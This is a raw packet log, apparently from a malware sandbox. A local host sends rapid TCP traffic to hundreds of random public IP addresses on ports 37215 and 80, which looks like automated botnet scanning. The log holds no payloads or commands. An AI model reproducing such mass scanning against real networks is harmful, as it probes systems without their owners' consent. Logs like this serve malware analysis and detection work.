Jun 10, 2024 15:37:58.474422932 CEST	37215	30401	41.111.74.7	192.168.2.13
Jun 10, 2024 15:37:58.474430084 CEST	30401	37215	192.168.2.13	156.161.209.230
Jun 10, 2024 15:37:58.474435091 CEST	37215	30401	41.160.121.85	192.168.2.13
Jun 10, 2024 15:37:58.474430084 CEST	16833	80	192.168.2.13	155.63.203.50
Jun 10, 2024 15:37:58.474447966 CEST	37215	30401	41.158.24.145	192.168.2.13
Jun 10, 2024 15:37:58.474459887 CEST	37215	30401	156.177.48.90	192.168.2.13
Jun 10, 2024 15:37:58.474462032 CEST	30401	37215	192.168.2.13	41.160.121.85
Jun 10, 2024 15:37:58.474469900 CEST	30401	37215	192.168.2.13	41.111.74.7
Jun 10, 2024 15:37:58.474473953 CEST	37215	30401	41.1.38.160	192.168.2.13
Jun 10, 2024 15:37:58.474479914 CEST	30401	37215	192.168.2.13	41.158.24.145
Jun 10, 2024 15:37:58.474488020 CEST	37215	30401	41.168.195.48	192.168.2.13
Jun 10, 2024 15:37:58.474489927 CEST	30401	37215	192.168.2.13	156.177.48.90
Jun 10, 2024 15:37:58.474499941 CEST	80	16833	100.250.217.104	192.168.2.13
Jun 10, 2024 15:37:58.474513054 CEST	37215	30401	156.26.118.105	192.168.2.13
Jun 10, 2024 15:37:58.474524975 CEST	37215	30401	197.131.228.194	192.168.2.13
Jun 10, 2024 15:37:58.474524975 CEST	16833	80	192.168.2.13	184.103.204.143
Jun 10, 2024 15:37:58.474536896 CEST	30401	37215	192.168.2.13	41.168.195.48
Jun 10, 2024 15:37:58.474538088 CEST	37215	30401	197.60.77.221	192.168.2.13
Jun 10, 2024 15:37:58.474541903 CEST	30401	37215	192.168.2.13	41.1.38.160
Jun 10, 2024 15:37:58.474546909 CEST	16833	80	192.168.2.13	100.250.217.104
Jun 10, 2024 15:37:58.474546909 CEST	30401	37215	192.168.2.13	156.26.118.105
Jun 10, 2024 15:37:58.474553108 CEST	80	16833	168.66.40.188	192.168.2.13
Jun 10, 2024 15:37:58.474558115 CEST	30401	37215	192.168.2.13	197.131.228.194
Jun 10, 2024 15:37:58.474565983 CEST	80	16833	204.163.167.26	192.168.2.13
Jun 10, 2024 15:37:58.474570036 CEST	30401	37215	192.168.2.13	197.60.77.221
Jun 10, 2024 15:37:58.474579096 CEST	80	16833	47.202.246.151	192.168.2.13
Jun 10, 2024 15:37:58.474586964 CEST	16833	80	192.168.2.13	168.66.40.188
Jun 10, 2024 15:37:58.474591970 CEST	37215	30401	156.232.216.223	192.168.2.13
Jun 10, 2024 15:37:58.474605083 CEST	80	16833	207.57.86.140	192.168.2.13
Jun 10, 2024 15:37:58.474607944 CEST	16833	80	192.168.2.13	204.163.167.26
Jun 10, 2024 15:37:58.474607944 CEST	16833	80	192.168.2.13	47.202.246.151
Jun 10, 2024 15:37:58.474617958 CEST	80	16833	189.153.232.220	192.168.2.13
Jun 10, 2024 15:37:58.474626064 CEST	30401	37215	192.168.2.13	156.232.216.223
Jun 10, 2024 15:37:58.474632025 CEST	80	16833	183.115.20.157	192.168.2.13
Jun 10, 2024 15:37:58.474633932 CEST	16833	80	192.168.2.13	207.57.86.140
Jun 10, 2024 15:37:58.474644899 CEST	37215	30401	41.244.207.155	192.168.2.13
Jun 10, 2024 15:37:58.474651098 CEST	16833	80	192.168.2.13	189.153.232.220
Jun 10, 2024 15:37:58.474658012 CEST	37215	30401	156.243.241.245	192.168.2.13
Jun 10, 2024 15:37:58.474662066 CEST	16833	80	192.168.2.13	183.115.20.157
Jun 10, 2024 15:37:58.474672079 CEST	80	16833	210.99.198.180	192.168.2.13
Jun 10, 2024 15:37:58.474680901 CEST	30401	37215	192.168.2.13	41.244.207.155
Jun 10, 2024 15:37:58.474685907 CEST	37215	30401	197.81.59.204	192.168.2.13
Jun 10, 2024 15:37:58.474688053 CEST	30401	37215	192.168.2.13	156.243.241.245
Jun 10, 2024 15:37:58.474700928 CEST	80	16833	180.252.252.121	192.168.2.13
Jun 10, 2024 15:37:58.474701881 CEST	16833	80	192.168.2.13	210.99.198.180
Jun 10, 2024 15:37:58.474714041 CEST	80	16833	67.108.146.167	192.168.2.13
Jun 10, 2024 15:37:58.474720955 CEST	30401	37215	192.168.2.13	197.81.59.204
Jun 10, 2024 15:37:58.474728107 CEST	37215	30401	41.36.167.226	192.168.2.13
Jun 10, 2024 15:37:58.474737883 CEST	16833	80	192.168.2.13	180.252.252.121
Jun 10, 2024 15:37:58.474740028 CEST	80	16833	34.139.84.19	192.168.2.13
Jun 10, 2024 15:37:58.474746943 CEST	16833	80	192.168.2.13	67.108.146.167
Jun 10, 2024 15:37:58.474752903 CEST	37215	30401	156.86.144.126	192.168.2.13
Jun 10, 2024 15:37:58.474766016 CEST	37215	30401	197.13.238.227	192.168.2.13
Jun 10, 2024 15:37:58.474771976 CEST	30401	37215	192.168.2.13	41.36.167.226
Jun 10, 2024 15:37:58.474771976 CEST	16833	80	192.168.2.13	34.139.84.19
Jun 10, 2024 15:37:58.474778891 CEST	37215	30401	156.239.155.136	192.168.2.13
Jun 10, 2024 15:37:58.474791050 CEST	37215	30401	197.47.68.177	192.168.2.13
Jun 10, 2024 15:37:58.474793911 CEST	30401	37215	192.168.2.13	156.86.144.126
Jun 10, 2024 15:37:58.474802971 CEST	37215	30401	197.250.183.187	192.168.2.13
Jun 10, 2024 15:37:58.474812031 CEST	30401	37215	192.168.2.13	197.13.238.227
Jun 10, 2024 15:37:58.474812984 CEST	30401	37215	192.168.2.13	156.239.155.136
Jun 10, 2024 15:37:58.474814892 CEST	80	16833	204.129.56.35	192.168.2.13
Jun 10, 2024 15:37:58.474827051 CEST	30401	37215	192.168.2.13	197.47.68.177
Jun 10, 2024 15:37:58.474828005 CEST	37215	30401	197.86.50.147	192.168.2.13
Jun 10, 2024 15:37:58.474834919 CEST	30401	37215	192.168.2.13	197.250.183.187
Jun 10, 2024 15:37:58.474842072 CEST	37215	30401	41.7.1.172	192.168.2.13
Jun 10, 2024 15:37:58.474853992 CEST	37215	30401	41.53.81.129	192.168.2.13
Jun 10, 2024 15:37:58.474858999 CEST	16833	80	192.168.2.13	204.129.56.35
Jun 10, 2024 15:37:58.474858999 CEST	30401	37215	192.168.2.13	197.86.50.147
Jun 10, 2024 15:37:58.474867105 CEST	80	16833	44.202.73.217	192.168.2.13
Jun 10, 2024 15:37:58.474874020 CEST	30401	37215	192.168.2.13	41.7.1.172
Jun 10, 2024 15:37:58.474879026 CEST	37215	30401	156.118.92.132	192.168.2.13
Jun 10, 2024 15:37:58.474884987 CEST	30401	37215	192.168.2.13	41.53.81.129
Jun 10, 2024 15:37:58.474891901 CEST	80	16833	101.25.61.73	192.168.2.13
Jun 10, 2024 15:37:58.474903107 CEST	16833	80	192.168.2.13	44.202.73.217
Jun 10, 2024 15:37:58.474920988 CEST	16833	80	192.168.2.13	101.25.61.73
Jun 10, 2024 15:37:58.474936962 CEST	30401	37215	192.168.2.13	156.118.92.132
Jun 10, 2024 15:37:58.477205038 CEST	37215	30401	197.3.246.202	192.168.2.13
Jun 10, 2024 15:37:58.477222919 CEST	80	16833	124.171.150.230	192.168.2.13
Jun 10, 2024 15:37:58.477235079 CEST	80	16833	82.29.73.12	192.168.2.13
Jun 10, 2024 15:37:58.477247953 CEST	80	16833	140.156.150.185	192.168.2.13
Jun 10, 2024 15:37:58.477260113 CEST	80	16833	196.145.124.19	192.168.2.13
Jun 10, 2024 15:37:58.477272987 CEST	37215	30401	156.122.29.230	192.168.2.13
Jun 10, 2024 15:37:58.477273941 CEST	16833	80	192.168.2.13	124.171.150.230
Jun 10, 2024 15:37:58.477283001 CEST	16833	80	192.168.2.13	140.156.150.185
Jun 10, 2024 15:37:58.477286100 CEST	37215	30401	156.179.158.25	192.168.2.13
Jun 10, 2024 15:37:58.477292061 CEST	16833	80	192.168.2.13	196.145.124.19
Jun 10, 2024 15:37:58.477292061 CEST	30401	37215	192.168.2.13	197.3.246.202
Jun 10, 2024 15:37:58.477298021 CEST	37215	30401	41.201.242.126	192.168.2.13
Jun 10, 2024 15:37:58.477310896 CEST	37215	30401	41.80.78.157	192.168.2.13
Jun 10, 2024 15:37:58.477324009 CEST	37215	30401	197.202.80.75	192.168.2.13
Jun 10, 2024 15:37:58.477335930 CEST	37215	30401	156.87.230.141	192.168.2.13
Jun 10, 2024 15:37:58.477348089 CEST	37215	30401	156.101.229.133	192.168.2.13
Jun 10, 2024 15:37:58.477348089 CEST	30401	37215	192.168.2.13	41.80.78.157
Jun 10, 2024 15:37:58.477360010 CEST	37215	30401	41.193.155.19	192.168.2.13
Jun 10, 2024 15:37:58.477372885 CEST	37215	30401	156.84.21.205	192.168.2.13
Jun 10, 2024 15:37:58.477384090 CEST	37215	30401	156.112.46.16	192.168.2.13
Jun 10, 2024 15:37:58.477396965 CEST	37215	30401	156.82.129.139	192.168.2.13
Jun 10, 2024 15:37:58.477399111 CEST	30401	37215	192.168.2.13	156.179.158.25
Jun 10, 2024 15:37:58.477399111 CEST	30401	37215	192.168.2.13	41.201.242.126
Jun 10, 2024 15:37:58.477400064 CEST	30401	37215	192.168.2.13	156.122.29.230
Jun 10, 2024 15:37:58.477408886 CEST	30401	37215	192.168.2.13	156.87.230.141
Jun 10, 2024 15:37:58.477410078 CEST	37215	30401	41.253.98.169	192.168.2.13
Jun 10, 2024 15:37:58.477411032 CEST	30401	37215	192.168.2.13	41.193.155.19
Jun 10, 2024 15:37:58.477420092 CEST	30401	37215	192.168.2.13	197.202.80.75
Jun 10, 2024 15:37:58.477420092 CEST	30401	37215	192.168.2.13	156.101.229.133
Jun 10, 2024 15:37:58.477422953 CEST	37215	30401	197.171.80.233	192.168.2.13
Jun 10, 2024 15:37:58.477430105 CEST	16833	80	192.168.2.13	82.29.73.12
Jun 10, 2024 15:37:58.477436066 CEST	37215	30401	197.183.130.132	192.168.2.13
Jun 10, 2024 15:37:58.477449894 CEST	37215	30401	197.28.46.68	192.168.2.13
Jun 10, 2024 15:37:58.477462053 CEST	37215	30401	156.197.132.147	192.168.2.13
Jun 10, 2024 15:37:58.477474928 CEST	37215	30401	197.174.51.18	192.168.2.13
Jun 10, 2024 15:37:58.477487087 CEST	30401	37215	192.168.2.13	156.84.21.205
Jun 10, 2024 15:37:58.477487087 CEST	37215	30401	156.254.247.111	192.168.2.13
Jun 10, 2024 15:37:58.477488041 CEST	30401	37215	192.168.2.13	41.253.98.169
Jun 10, 2024 15:37:58.477493048 CEST	30401	37215	192.168.2.13	156.112.46.16
Jun 10, 2024 15:37:58.477499962 CEST	30401	37215	192.168.2.13	156.82.129.139
Jun 10, 2024 15:37:58.477499962 CEST	30401	37215	192.168.2.13	197.183.130.132
Jun 10, 2024 15:37:58.477502108 CEST	37215	30401	197.125.140.84	192.168.2.13
Jun 10, 2024 15:37:58.477518082 CEST	37215	30401	197.240.183.237	192.168.2.13
Jun 10, 2024 15:37:58.477530956 CEST	80	16833	182.55.5.228	192.168.2.13
Jun 10, 2024 15:37:58.477541924 CEST	37215	30401	197.72.76.209	192.168.2.13
Jun 10, 2024 15:37:58.477555037 CEST	37215	30401	41.126.209.110	192.168.2.13
Jun 10, 2024 15:37:58.477556944 CEST	30401	37215	192.168.2.13	197.28.46.68
Jun 10, 2024 15:37:58.477561951 CEST	30401	37215	192.168.2.13	156.197.132.147
Jun 10, 2024 15:37:58.477562904 CEST	30401	37215	192.168.2.13	197.171.80.233
Jun 10, 2024 15:37:58.477566957 CEST	37215	30401	197.11.6.177	192.168.2.13
Jun 10, 2024 15:37:58.477580070 CEST	30401	37215	192.168.2.13	197.174.51.18
Jun 10, 2024 15:37:58.477581024 CEST	37215	30401	41.250.234.243	192.168.2.13
Jun 10, 2024 15:37:58.477580070 CEST	30401	37215	192.168.2.13	197.125.140.84
Jun 10, 2024 15:37:58.477583885 CEST	16833	80	192.168.2.13	182.55.5.228
Jun 10, 2024 15:37:58.477585077 CEST	30401	37215	192.168.2.13	156.254.247.111
Jun 10, 2024 15:37:58.477585077 CEST	30401	37215	192.168.2.13	197.240.183.237
Jun 10, 2024 15:37:58.477583885 CEST	30401	37215	192.168.2.13	197.72.76.209
Jun 10, 2024 15:37:58.477593899 CEST	80	16833	141.116.32.240	192.168.2.13
Jun 10, 2024 15:37:58.477607965 CEST	37215	30401	156.180.142.166	192.168.2.13
Jun 10, 2024 15:37:58.477619886 CEST	37215	30401	156.30.139.237	192.168.2.13
Jun 10, 2024 15:37:58.477632046 CEST	37215	30401	156.5.128.132	192.168.2.13
Jun 10, 2024 15:37:58.477643967 CEST	80	16833	48.246.69.223	192.168.2.13
Jun 10, 2024 15:37:58.477650881 CEST	30401	37215	192.168.2.13	41.126.209.110
Jun 10, 2024 15:37:58.477655888 CEST	80	16833	106.29.247.21	192.168.2.13
Jun 10, 2024 15:37:58.477658033 CEST	16833	80	192.168.2.13	141.116.32.240
Jun 10, 2024 15:37:58.477659941 CEST	30401	37215	192.168.2.13	197.11.6.177
Jun 10, 2024 15:37:58.477663994 CEST	30401	37215	192.168.2.13	41.250.234.243
Jun 10, 2024 15:37:58.477669954 CEST	37215	30401	41.184.51.183	192.168.2.13
Jun 10, 2024 15:37:58.477683067 CEST	80	16833	25.214.7.36	192.168.2.13
Jun 10, 2024 15:37:58.477694988 CEST	37215	30401	197.159.169.105	192.168.2.13
Jun 10, 2024 15:37:58.477708101 CEST	37215	30401	156.4.150.72	192.168.2.13
Jun 10, 2024 15:37:58.477720022 CEST	30401	37215	192.168.2.13	156.30.139.237
Jun 10, 2024 15:37:58.477720022 CEST	37215	30401	41.116.155.141	192.168.2.13
Jun 10, 2024 15:37:58.477720976 CEST	30401	37215	192.168.2.13	156.180.142.166
Jun 10, 2024 15:37:58.477729082 CEST	16833	80	192.168.2.13	25.214.7.36
Jun 10, 2024 15:37:58.477740049 CEST	16833	80	192.168.2.13	106.29.247.21
Jun 10, 2024 15:37:58.477741957 CEST	30401	37215	192.168.2.13	156.5.128.132
Jun 10, 2024 15:37:58.477741957 CEST	16833	80	192.168.2.13	48.246.69.223
Jun 10, 2024 15:37:58.477781057 CEST	30401	37215	192.168.2.13	41.184.51.183
Jun 10, 2024 15:37:58.477793932 CEST	30401	37215	192.168.2.13	197.159.169.105
Jun 10, 2024 15:37:58.477797985 CEST	30401	37215	192.168.2.13	156.4.150.72
Jun 10, 2024 15:37:58.477858067 CEST	30401	37215	192.168.2.13	41.116.155.141
Jun 10, 2024 15:37:58.479171991 CEST	37215	30401	197.37.21.3	192.168.2.13
Jun 10, 2024 15:37:58.479188919 CEST	80	16833	150.149.210.64	192.168.2.13
Jun 10, 2024 15:37:58.479202032 CEST	37215	30401	156.253.141.133	192.168.2.13
Jun 10, 2024 15:37:58.479214907 CEST	37215	30401	41.25.49.153	192.168.2.13
Jun 10, 2024 15:37:58.479228020 CEST	37215	30401	41.104.213.101	192.168.2.13
Jun 10, 2024 15:37:58.479240894 CEST	37215	30401	156.12.217.211	192.168.2.13
Jun 10, 2024 15:37:58.479253054 CEST	80	16833	89.5.191.31	192.168.2.13
Jun 10, 2024 15:37:58.479253054 CEST	30401	37215	192.168.2.13	197.37.21.3
Jun 10, 2024 15:37:58.479257107 CEST	30401	37215	192.168.2.13	156.253.141.133
Jun 10, 2024 15:37:58.479257107 CEST	30401	37215	192.168.2.13	41.25.49.153
Jun 10, 2024 15:37:58.479265928 CEST	37215	30401	41.178.187.242	192.168.2.13
Jun 10, 2024 15:37:58.479279041 CEST	37215	30401	156.213.78.215	192.168.2.13
Jun 10, 2024 15:37:58.479283094 CEST	30401	37215	192.168.2.13	156.12.217.211
Jun 10, 2024 15:37:58.479285955 CEST	30401	37215	192.168.2.13	41.104.213.101
Jun 10, 2024 15:37:58.479290962 CEST	80	16833	143.28.155.62	192.168.2.13
Jun 10, 2024 15:37:58.479304075 CEST	80	16833	123.81.102.171	192.168.2.13
Jun 10, 2024 15:37:58.479315996 CEST	37215	30401	156.11.223.48	192.168.2.13
Jun 10, 2024 15:37:58.479329109 CEST	80	16833	217.140.220.168	192.168.2.13
Jun 10, 2024 15:37:58.479332924 CEST	16833	80	192.168.2.13	89.5.191.31
Jun 10, 2024 15:37:58.479332924 CEST	30401	37215	192.168.2.13	156.213.78.215
Jun 10, 2024 15:37:58.479334116 CEST	16833	80	192.168.2.13	143.28.155.62
Jun 10, 2024 15:37:58.479341984 CEST	37215	30401	41.74.206.133	192.168.2.13
Jun 10, 2024 15:37:58.479351997 CEST	16833	80	192.168.2.13	150.149.210.64
Jun 10, 2024 15:37:58.479353905 CEST	37215	30401	41.62.199.115	192.168.2.13
Jun 10, 2024 15:37:58.479367018 CEST	37215	30401	41.70.221.1	192.168.2.13
Jun 10, 2024 15:37:58.479378939 CEST	80	16833	47.5.123.175	192.168.2.13
Jun 10, 2024 15:37:58.479381084 CEST	30401	37215	192.168.2.13	41.178.187.242
Jun 10, 2024 15:37:58.479392052 CEST	37215	30401	197.218.28.17	192.168.2.13
Jun 10, 2024 15:37:58.479404926 CEST	80	16833	123.248.213.63	192.168.2.13
Jun 10, 2024 15:37:58.479408026 CEST	16833	80	192.168.2.13	217.140.220.168
Jun 10, 2024 15:37:58.479408026 CEST	30401	37215	192.168.2.13	41.70.221.1
Jun 10, 2024 15:37:58.479410887 CEST	16833	80	192.168.2.13	123.81.102.171
Jun 10, 2024 15:37:58.479410887 CEST	30401	37215	192.168.2.13	156.11.223.48
Jun 10, 2024 15:37:58.479418039 CEST	80	16833	1.35.33.240	192.168.2.13
Jun 10, 2024 15:37:58.479429960 CEST	37215	30401	41.109.189.68	192.168.2.13
Jun 10, 2024 15:37:58.479440928 CEST	37215	30401	41.78.69.134	192.168.2.13
Jun 10, 2024 15:37:58.479453087 CEST	37215	30401	156.97.62.235	192.168.2.13
Jun 10, 2024 15:37:58.479454994 CEST	30401	37215	192.168.2.13	41.74.206.133
Jun 10, 2024 15:37:58.479463100 CEST	16833	80	192.168.2.13	47.5.123.175
Jun 10, 2024 15:37:58.479463100 CEST	30401	37215	192.168.2.13	197.218.28.17
Jun 10, 2024 15:37:58.479465961 CEST	80	16833	97.198.1.8	192.168.2.13
Jun 10, 2024 15:37:58.479470968 CEST	30401	37215	192.168.2.13	41.109.189.68
Jun 10, 2024 15:37:58.479471922 CEST	30401	37215	192.168.2.13	41.78.69.134
Jun 10, 2024 15:37:58.479473114 CEST	30401	37215	192.168.2.13	41.62.199.115
Jun 10, 2024 15:37:58.479480982 CEST	37215	30401	41.140.76.152	192.168.2.13
Jun 10, 2024 15:37:58.479495049 CEST	80	16833	110.126.158.141	192.168.2.13
Jun 10, 2024 15:37:58.479507923 CEST	37215	30401	156.43.175.240	192.168.2.13
Jun 10, 2024 15:37:58.479520082 CEST	80	16833	175.100.24.56	192.168.2.13
Jun 10, 2024 15:37:58.479532003 CEST	16833	80	192.168.2.13	123.248.213.63
Jun 10, 2024 15:37:58.479533911 CEST	37215	30401	156.96.80.253	192.168.2.13
Jun 10, 2024 15:37:58.479535103 CEST	16833	80	192.168.2.13	1.35.33.240
Jun 10, 2024 15:37:58.479535103 CEST	16833	80	192.168.2.13	97.198.1.8
Jun 10, 2024 15:37:58.479538918 CEST	30401	37215	192.168.2.13	156.97.62.235
Jun 10, 2024 15:37:58.479546070 CEST	37215	30401	41.126.47.161	192.168.2.13
Jun 10, 2024 15:37:58.479558945 CEST	37215	30401	41.37.141.110	192.168.2.13
Jun 10, 2024 15:37:58.479558945 CEST	16833	80	192.168.2.13	110.126.158.141
Jun 10, 2024 15:37:58.479572058 CEST	80	16833	95.38.158.165	192.168.2.13
Jun 10, 2024 15:37:58.479583979 CEST	80	16833	103.69.42.187	192.168.2.13
Jun 10, 2024 15:37:58.479595900 CEST	80	16833	50.205.36.111	192.168.2.13
Jun 10, 2024 15:37:58.479599953 CEST	30401	37215	192.168.2.13	41.140.76.152
Jun 10, 2024 15:37:58.479605913 CEST	30401	37215	192.168.2.13	156.43.175.240
Jun 10, 2024 15:37:58.479609013 CEST	80	16833	134.105.17.4	192.168.2.13
Jun 10, 2024 15:37:58.479612112 CEST	30401	37215	192.168.2.13	41.126.47.161
Jun 10, 2024 15:37:58.479620934 CEST	80	16833	62.153.234.179	192.168.2.13
Jun 10, 2024 15:37:58.479634047 CEST	37215	30401	156.230.215.177	192.168.2.13
Jun 10, 2024 15:37:58.479638100 CEST	16833	80	192.168.2.13	175.100.24.56
Jun 10, 2024 15:37:58.479645967 CEST	80	16833	53.62.65.36	192.168.2.13
Jun 10, 2024 15:37:58.479657888 CEST	80	16833	66.205.85.77	192.168.2.13
Jun 10, 2024 15:37:58.479670048 CEST	37215	30401	41.41.180.43	192.168.2.13
Jun 10, 2024 15:37:58.479670048 CEST	30401	37215	192.168.2.13	156.96.80.253
Jun 10, 2024 15:37:58.479670048 CEST	16833	80	192.168.2.13	103.69.42.187
Jun 10, 2024 15:37:58.479671001 CEST	30401	37215	192.168.2.13	41.37.141.110
Jun 10, 2024 15:37:58.479672909 CEST	16833	80	192.168.2.13	95.38.158.165
Jun 10, 2024 15:37:58.479672909 CEST	30401	37215	192.168.2.13	156.230.215.177
Jun 10, 2024 15:37:58.479682922 CEST	37215	30401	156.78.117.33	192.168.2.13
Jun 10, 2024 15:37:58.479691029 CEST	16833	80	192.168.2.13	62.153.234.179
Jun 10, 2024 15:37:58.479691029 CEST	16833	80	192.168.2.13	134.105.17.4
Jun 10, 2024 15:37:58.479696035 CEST	16833	80	192.168.2.13	50.205.36.111
Jun 10, 2024 15:37:58.479697943 CEST	16833	80	192.168.2.13	66.205.85.77
Jun 10, 2024 15:37:58.479696989 CEST	16833	80	192.168.2.13	53.62.65.36
Jun 10, 2024 15:37:58.479696989 CEST	30401	37215	192.168.2.13	41.41.180.43
Jun 10, 2024 15:37:58.479715109 CEST	30401	37215	192.168.2.13	156.78.117.33
Jun 10, 2024 15:37:58.482024908 CEST	37215	30401	156.236.106.252	192.168.2.13
Jun 10, 2024 15:37:58.482043028 CEST	37215	30401	41.59.50.237	192.168.2.13
Jun 10, 2024 15:37:58.482055902 CEST	37215	30401	41.94.210.141	192.168.2.13
Jun 10, 2024 15:37:58.482069016 CEST	37215	30401	41.221.84.91	192.168.2.13
Jun 10, 2024 15:37:58.482081890 CEST	37215	30401	156.186.90.45	192.168.2.13
Jun 10, 2024 15:37:58.482081890 CEST	30401	37215	192.168.2.13	156.236.106.252
Jun 10, 2024 15:37:58.482094049 CEST	37215	30401	41.38.6.150	192.168.2.13
Jun 10, 2024 15:37:58.482095003 CEST	30401	37215	192.168.2.13	41.94.210.141
Jun 10, 2024 15:37:58.482106924 CEST	80	16833	123.162.236.151	192.168.2.13
Jun 10, 2024 15:37:58.482111931 CEST	30401	37215	192.168.2.13	41.59.50.237
Jun 10, 2024 15:37:58.482120037 CEST	80	16833	205.237.21.82	192.168.2.13
Jun 10, 2024 15:37:58.482121944 CEST	30401	37215	192.168.2.13	156.186.90.45
Jun 10, 2024 15:37:58.482132912 CEST	30401	37215	192.168.2.13	41.221.84.91
Jun 10, 2024 15:37:58.482134104 CEST	37215	30401	197.85.190.87	192.168.2.13
Jun 10, 2024 15:37:58.482146025 CEST	37215	30401	156.105.160.242	192.168.2.13
Jun 10, 2024 15:37:58.482158899 CEST	37215	30401	41.197.138.136	192.168.2.13
Jun 10, 2024 15:37:58.482171059 CEST	37215	30401	41.65.239.136	192.168.2.13
Jun 10, 2024 15:37:58.482182026 CEST	37215	30401	41.38.42.170	192.168.2.13
Jun 10, 2024 15:37:58.482194901 CEST	37215	30401	156.134.139.194	192.168.2.13
Jun 10, 2024 15:37:58.482206106 CEST	37215	30401	156.152.97.183	192.168.2.13
Jun 10, 2024 15:37:58.482218027 CEST	37215	30401	197.120.119.143	192.168.2.13
Jun 10, 2024 15:37:58.482228041 CEST	30401	37215	192.168.2.13	41.38.6.150
Jun 10, 2024 15:37:58.482228041 CEST	16833	80	192.168.2.13	123.162.236.151
Jun 10, 2024 15:37:58.482229948 CEST	80	16833	162.203.255.83	192.168.2.13
Jun 10, 2024 15:37:58.482240915 CEST	30401	37215	192.168.2.13	41.65.239.136
Jun 10, 2024 15:37:58.482243061 CEST	37215	30401	156.72.196.183	192.168.2.13
Jun 10, 2024 15:37:58.482244968 CEST	30401	37215	192.168.2.13	156.105.160.242
Jun 10, 2024 15:37:58.482244968 CEST	30401	37215	192.168.2.13	156.134.139.194
Jun 10, 2024 15:37:58.482253075 CEST	16833	80	192.168.2.13	205.237.21.82
Jun 10, 2024 15:37:58.482253075 CEST	30401	37215	192.168.2.13	197.85.190.87
Jun 10, 2024 15:37:58.482255936 CEST	37215	30401	197.105.77.33	192.168.2.13
Jun 10, 2024 15:37:58.482266903 CEST	30401	37215	192.168.2.13	197.120.119.143
Jun 10, 2024 15:37:58.482268095 CEST	37215	30401	197.15.249.219	192.168.2.13
Jun 10, 2024 15:37:58.482271910 CEST	30401	37215	192.168.2.13	41.197.138.136
Jun 10, 2024 15:37:58.482275963 CEST	30401	37215	192.168.2.13	156.152.97.183
Jun 10, 2024 15:37:58.482276917 CEST	30401	37215	192.168.2.13	41.38.42.170
Jun 10, 2024 15:37:58.482281923 CEST	37215	30401	156.107.193.134	192.168.2.13
Jun 10, 2024 15:37:58.482287884 CEST	16833	80	192.168.2.13	162.203.255.83
Jun 10, 2024 15:37:58.482295990 CEST	37215	30401	197.67.60.182	192.168.2.13
Jun 10, 2024 15:37:58.482309103 CEST	80	16833	73.77.71.87	192.168.2.13
Jun 10, 2024 15:37:58.482321978 CEST	80	16833	97.34.9.110	192.168.2.13
Jun 10, 2024 15:37:58.482336998 CEST	37215	30401	197.77.245.185	192.168.2.13
Jun 10, 2024 15:37:58.482348919 CEST	80	16833	94.180.92.242	192.168.2.13
Jun 10, 2024 15:37:58.482361078 CEST	80	16833	67.138.130.174	192.168.2.13
Jun 10, 2024 15:37:58.482373953 CEST	37215	30401	41.10.244.42	192.168.2.13
Jun 10, 2024 15:37:58.482378960 CEST	30401	37215	192.168.2.13	156.72.196.183
Jun 10, 2024 15:37:58.482378960 CEST	30401	37215	192.168.2.13	197.15.249.219
Jun 10, 2024 15:37:58.482386112 CEST	37215	30401	156.55.154.141	192.168.2.13
Jun 10, 2024 15:37:58.482392073 CEST	30401	37215	192.168.2.13	197.105.77.33
Jun 10, 2024 15:37:58.482393026 CEST	30401	37215	192.168.2.13	197.77.245.185
Jun 10, 2024 15:37:58.482392073 CEST	30401	37215	192.168.2.13	197.67.60.182
Jun 10, 2024 15:37:58.482394934 CEST	30401	37215	192.168.2.13	156.107.193.134
Jun 10, 2024 15:37:58.482398033 CEST	37215	30401	197.218.43.202	192.168.2.13
Jun 10, 2024 15:37:58.482407093 CEST	16833	80	192.168.2.13	94.180.92.242
Jun 10, 2024 15:37:58.482410908 CEST	37215	30401	197.168.80.221	192.168.2.13
Jun 10, 2024 15:37:58.482424021 CEST	37215	30401	197.174.6.140	192.168.2.13
Jun 10, 2024 15:37:58.482435942 CEST	37215	30401	197.231.140.160	192.168.2.13
Jun 10, 2024 15:37:58.482448101 CEST	80	16833	181.40.86.242	192.168.2.13
Jun 10, 2024 15:37:58.482454062 CEST	16833	80	192.168.2.13	97.34.9.110
Jun 10, 2024 15:37:58.482458115 CEST	16833	80	192.168.2.13	73.77.71.87
Jun 10, 2024 15:37:58.482458115 CEST	30401	37215	192.168.2.13	197.168.80.221
Jun 10, 2024 15:37:58.482460976 CEST	37215	30401	156.1.252.24	192.168.2.13
Jun 10, 2024 15:37:58.482465982 CEST	16833	80	192.168.2.13	67.138.130.174
Jun 10, 2024 15:37:58.482472897 CEST	37215	30401	41.148.151.110	192.168.2.13
Jun 10, 2024 15:37:58.482482910 CEST	30401	37215	192.168.2.13	156.55.154.141
Jun 10, 2024 15:37:58.482486010 CEST	37215	30401	197.24.139.66	192.168.2.13
Jun 10, 2024 15:37:58.482486963 CEST	30401	37215	192.168.2.13	197.174.6.140
Jun 10, 2024 15:37:58.482486963 CEST	30401	37215	192.168.2.13	197.231.140.160
Jun 10, 2024 15:37:58.482486963 CEST	16833	80	192.168.2.13	181.40.86.242
Jun 10, 2024 15:37:58.482489109 CEST	30401	37215	192.168.2.13	41.10.244.42
Jun 10, 2024 15:37:58.482489109 CEST	30401	37215	192.168.2.13	197.218.43.202
Jun 10, 2024 15:37:58.482498884 CEST	80	16833	1.235.38.96	192.168.2.13
Jun 10, 2024 15:37:58.482511997 CEST	80	16833	196.157.13.118	192.168.2.13
Jun 10, 2024 15:37:58.482523918 CEST	80	16833	140.101.197.21	192.168.2.13
Jun 10, 2024 15:37:58.482537031 CEST	80	16833	94.100.178.14	192.168.2.13
Jun 10, 2024 15:37:58.482537031 CEST	30401	37215	192.168.2.13	156.1.252.24
Jun 10, 2024 15:37:58.482614040 CEST	30401	37215	192.168.2.13	197.24.139.66
Jun 10, 2024 15:37:58.482614040 CEST	16833	80	192.168.2.13	140.101.197.21
Jun 10, 2024 15:37:58.482618093 CEST	16833	80	192.168.2.13	1.235.38.96
Jun 10, 2024 15:37:58.482619047 CEST	30401	37215	192.168.2.13	41.148.151.110
Jun 10, 2024 15:37:58.482624054 CEST	16833	80	192.168.2.13	196.157.13.118
Jun 10, 2024 15:37:58.482625008 CEST	16833	80	192.168.2.13	94.100.178.14
Jun 10, 2024 15:37:58.484026909 CEST	37215	30401	197.172.155.122	192.168.2.13
Jun 10, 2024 15:37:58.484044075 CEST	80	16833	53.98.252.58	192.168.2.13
Jun 10, 2024 15:37:58.484056950 CEST	37215	30401	197.243.244.21	192.168.2.13
Jun 10, 2024 15:37:58.484070063 CEST	37215	30401	41.124.110.151	192.168.2.13
Jun 10, 2024 15:37:58.484081984 CEST	37215	30401	41.175.184.197	192.168.2.13
